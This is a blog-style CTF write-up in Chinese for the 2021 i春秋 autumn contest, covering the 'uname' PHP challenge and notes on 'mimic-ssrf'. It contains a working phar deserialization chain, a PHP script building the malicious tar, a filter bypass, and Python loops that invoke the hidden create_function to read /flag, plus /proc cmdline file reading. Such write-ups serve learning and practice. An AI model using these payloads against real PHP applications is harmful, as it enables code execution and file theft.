2021i春秋秋季个人赛

前言

和安洵杯冲了,在安洵杯没思路的时候去做了一下,就做了一下第一题

uname

源码很简单,分为exists和upload两部分

<?php
class name1{
public $var;
public function __destruct(){
echo $this->var;
}
}
class name2{
public function __toString(){
$_POST["func"]();
return "";
}
}
header("Content-type: text/html;charset=utf-8");
$ip=$_SERVER['REMOTE_ADDR'];
$find_this = create_function("", 'die(`cat /flag`);');
error_reporting(0);
$filename = $_GET['filename'];
if (!$_GET['ip']){
echo $ip;
}
if ($filename == NULL){
die();
}
if (file_exists($filename)){
echo '<script type="text/javascript">alert("该文件存在");</script>';
}
else{
echo '<script type="text/javascript">alert("该文件不存在");</script>';
}

很明显是phar反序列化,file_exists触发,然后upload过滤了一系列内容,但是可以使用tar文件进行反序列化

<?php
class name1{
public $var;
public function __destruct(){
echo $this->var;
}
}
class name2{
public function __toString(){
$_POST["func"]();
return "";
}
}
$obj=new name1();
$b=new name2();
$obj->var=$b;

@unlink("test.tar");
$phar = new PharData("get_flag.tar");
$phar["AAABshpik"] = "FLAGFLAGFLAG";
$phar->setMetadata($obj);

然后改后缀为jpg就行了,但其实有个问题,这里不是对tar文件进行操作判断是否有那个字符了吗?

exec("tar -tf ".$_FILES["file"]["tmp_name"],$r_array);
if(in_array(".phar/.metadata",$r_array)){
return false;
}
return true;

让我们测试一下img

-t或–list 列出备份文件的内容,而这个tar的文件内容有两部分,他只检测了第一部分–,所以就轻而易举的绕过了
然后后面在本地看一下文件名是什么,利用exists页面的$ip=$_SERVER[‘REMOTE_ADDR’];这个输出内容加上那个字符串经过md5解码一下就可以,然后完整目录是

/upload/xxxxx.gif

然后在exists页面使用phar协议进行访问

phar://./upload/xxx.gif

但是同时要传参,这里需要去执行那个create_function

$find_this = create_function("", 'die(`cat /flag`);');

网上有文章

代码很简洁粗暴,开头就创建了一个全局函数,可以查看flag。

create_function生成的函数名有些特殊,它是NULL字符加上”lambda_”再加个一个数字标识(\x00lambda_数字标识),其中数字标识代表它是当前进程中的第几个匿名函数。create_function的实现步骤如下:

获取参数, 函数体
拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串
eval之
通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错
定义一个函数名:”\000_lambda_” . count(anonymous_functions)++
用新的函数名替换__lambda_func

https://www.shawroot.cc/631.html

直接别人脚本跑就好了

import requests

i = 0
while True:
r = requests.get('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
i += 1
print(i)

但是需要注意的是,这里是post请求,所以要改改

import requests

i = 0
data={"func":"%00(这个%00进行url解码以后再发送过去)lambda_1"}
while True:
r = requests.post('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?filename=phar://./upload/xxxx.gif',)
if 'flag' in r.text:
print(r.text)
break
i += 1
print(i)

然后就可以拿到flag了

mimic-ssrf

探测到7410是php的端口
8888端口是go的端口
8080是java

感觉是要读文件才能往下做,但是不知道啥能读文件

/proc/[pid]/cmdline 是一个只读文件,包含进程的完整命令行信息。如果该进程已经被交换出内存或者这个进程是 zombie 进程,则这个文件没有任何内容。该文件以空字符 null 而不是换行符作为结束标志。举例如下:

看了一下wp才发现原来还有这个, 当时在爆破目录的时候,就在想cmdline是什么,但是一时没想起来,哎,还是太年轻了,感觉得找个时间再好好总结一下,接下来就是去爆破读取一下,看看对应语言的源码

/web/java/jdk1.8.0_202/bin/java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=20211 -jar /web/java/Hello_web.jar


/web/python/app.py


/web/golang/ssrf_go
Author

vague huang

Posted on

2021-11-29

Updated on

2021-12-13

Licensed under

Comments